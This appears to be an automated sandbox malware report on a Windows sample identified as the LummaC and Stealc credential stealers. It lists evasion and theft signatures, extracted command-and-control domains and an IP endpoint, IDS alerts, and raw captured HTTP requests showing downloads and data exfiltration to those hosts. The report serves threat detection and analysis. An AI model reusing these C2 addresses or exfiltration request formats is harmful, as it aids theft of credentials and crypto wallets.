Edit tour

Windows Analysis Report
NYMPo215Qd.exe

Overview

General Information

Sample name:	NYMPo215Qd.exe renamed because original name is a hash value
Original sample name:	591c23cae68a9c792a7eb65cebc40b52.exe
Analysis ID:	1576159
MD5:	591c23cae68a9c792a7eb65cebc40b52
SHA1:	8099f5a9458238225dd7d12811a0e57961b1d8b0
SHA256:	ef123e56243004263637a0ec051578cebffbbe35f1d9cff18b4d9936ddd2d2a0
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SIDT)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

NYMPo215Qd.exe (PID: 6508 cmdline: "C:\Users\user\Desktop\NYMPo215Qd.exe" MD5: 591C23CAE68A9C792A7EB65CEBC40B52)

G9H9BE2GP1UE0C9AS5I0G1FKO.exe (PID: 2360 cmdline: "C:\Users\user\AppData\Local\Temp\G9H9BE2GP1UE0C9AS5I0G1FKO.exe" MD5: F86C08A75747002A2A7CD3FBC5FE05C8)

8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe (PID: 992 cmdline: "C:\Users\user\AppData\Local\Temp\8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe" MD5: E33DC32F04E77BC26482BACCB87B9795)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": ["sordid-snaked.cyou", "diffuculttan.xyz", "deafeninggeh.biz", "immureprech.biz", "wrathful-jammy.cyou", "tacitglibbr.biz", "effecterectz.xyz", "awake-weaves.cyou", "debonairnukk.xyz"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000004.00000003.2446320342.0000000004C00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000002.2533890717.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2255482021.0000000001579000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2533061798.0000000000221000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2255148116.0000000001579000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: NYMPo215Qd.exe PID: 6508	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: NYMPo215Qd.exe PID: 6508	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: NYMPo215Qd.exe PID: 6508	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe PID: 992	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 8CSTUASNAAUHVJJRN9AXIJCX4LCV02Z.exe PID: 992	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 5 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:38:03.397467+0100	2028371	3	Unknown Traffic	192.168.2.6	49707	104.21.50.161	443	TCP
2024-12-16T15:38:05.360481+0100	2028371	3	Unknown Traffic	192.168.2.6	49709	104.21.50.161	443	TCP
2024-12-16T15:38:07.659154+0100	2028371	3	Unknown Traffic	192.168.2.6	49710	104.21.50.161	443	TCP
2024-12-16T15:38:10.238098+0100	2028371	3	Unknown Traffic	192.168.2.6	49712	104.21.50.161	443	TCP
2024-12-16T15:38:12.545843+0100	2028371	3	Unknown Traffic	192.168.2.6	49718	104.21.50.161	443	TCP
2024-12-16T15:38:14.918864+0100	2028371	3	Unknown Traffic	192.168.2.6	49724	104.21.50.161	443	TCP
2024-12-16T15:38:17.308195+0100	2028371	3	Unknown Traffic	192.168.2.6	49731	104.21.50.161	443	TCP
2024-12-16T15:38:20.936216+0100	2028371	3	Unknown Traffic	192.168.2.6	49740	104.21.50.161	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:38:04.128712+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49707	104.21.50.161	443	TCP
2024-12-16T15:38:06.086626+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49709	104.21.50.161	443	TCP
2024-12-16T15:38:21.719551+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49740	104.21.50.161	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:38:04.128712+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49707	104.21.50.161	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:38:06.086626+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49709	104.21.50.161	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:38:03.397467+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	49707	104.21.50.161	443	TCP
2024-12-16T15:38:05.360481+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	49709	104.21.50.161	443	TCP
2024-12-16T15:38:07.659154+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	49710	104.21.50.161	443	TCP
2024-12-16T15:38:10.238098+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	49712	104.21.50.161	443	TCP
2024-12-16T15:38:12.545843+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	49718	104.21.50.161	443	TCP
2024-12-16T15:38:14.918864+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	49724	104.21.50.161	443	TCP
2024-12-16T15:38:17.308195+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	49731	104.21.50.161	443	TCP
2024-12-16T15:38:20.936216+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.6	49740	104.21.50.161	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:38:23.175021+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	49747	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:38:01.916385+0100	2058230	1	Domain Observed Used for C2 Detected	192.168.2.6	50411	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:38:15.654922+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49724	104.21.50.161	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:38:37.758861+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49782	185.215.113.206	80	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: G9H9BE2GP1UE0C9AS5I0G1FKO.exe, 00000003.00000003.2409658582.0000000004940000.00000004.00001000.00020000.00000000.sdmp, G9H9BE2GP1UE0C9AS5I0G1FKO.exe, 00000003.00000002.2543038725.0000000000322000.00000040.00000001.01000000.00000006.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:49724 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:49709 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:49707 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:49731 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:49718 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:49710 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058230 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz) : 192.168.2.6:50411 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:49740 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.6:49712 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49782 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49724 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49740 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49709 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49709 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49707 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49707 -> 104.21.50.161:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: sordid-snaked.cyou
Source: Malware configuration extractor	URLs: diffuculttan.xyz
Source: Malware configuration extractor	URLs: deafeninggeh.biz
Source: Malware configuration extractor	URLs: immureprech.biz
Source: Malware configuration extractor	URLs: wrathful-jammy.cyou
Source: Malware configuration extractor	URLs: tacitglibbr.biz
Source: Malware configuration extractor	URLs: effecterectz.xyz
Source: Malware configuration extractor	URLs: awake-weaves.cyou
Source: Malware configuration extractor	URLs: debonairnukk.xyz

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 14:38:22 GMTContent-Type: application/octet-streamContent-Length: 2776576Last-Modified: Mon, 16 Dec 2024 13:42:20 GMTConnection: keep-aliveETag: "67602e3c-2a5e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 b1 52 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 6f 67 72 70 74 77 67 00 00 2a 00 00 a0 00 00 00 fe 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 70 6c 6c 62 66 73 70 00 20 00 00 00 a0 2a 00 00 04 00 00 00 38 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 3c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 14:38:27 GMTContent-Type: application/octet-streamContent-Length: 1796608Last-Modified: Mon, 16 Dec 2024 13:43:52 GMTConnection: keep-aliveETag: "67602e98-1b6a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 20 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 69 00 00 04 00 00 12 3a 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 7a 61 61 7a 79 65 61 00 d0 19 00 00 40 4f 00 00 c6 19 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 73 77 75 69 74 73 72 00 10 00 00 00 10 69 00 00 04 00 00 00 44 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 69 00 00 22 00 00 00 48 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFHCGIDBAAFHIDHDAAEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 37 32 45 41 33 39 45 32 43 37 39 33 39 39 34 38 38 30 37 35 33 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 2d 2d 0d 0a Data Ascii: ------BKFHCGIDBAAFHIDHDAAEContent-Disposition: form-data; name="hwid"C72EA39E2C793994880753------BKFHCGIDBAAFHIDHDAAEContent-Disposition: form-data; name="build"stok------BKFHCGIDBAAFHIDHDAAE--

Source: Joe Sandbox View	IP Address: 104.21.50.161 104.21.50.161
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49724 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49709 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49707 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49731 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49718 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49710 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49740 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49712 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49747 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=5F9BYO2IF045T2JGLPDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12865Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=YQWEKMTJNXZ92J4User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15087Host: tacitglibbr.biz
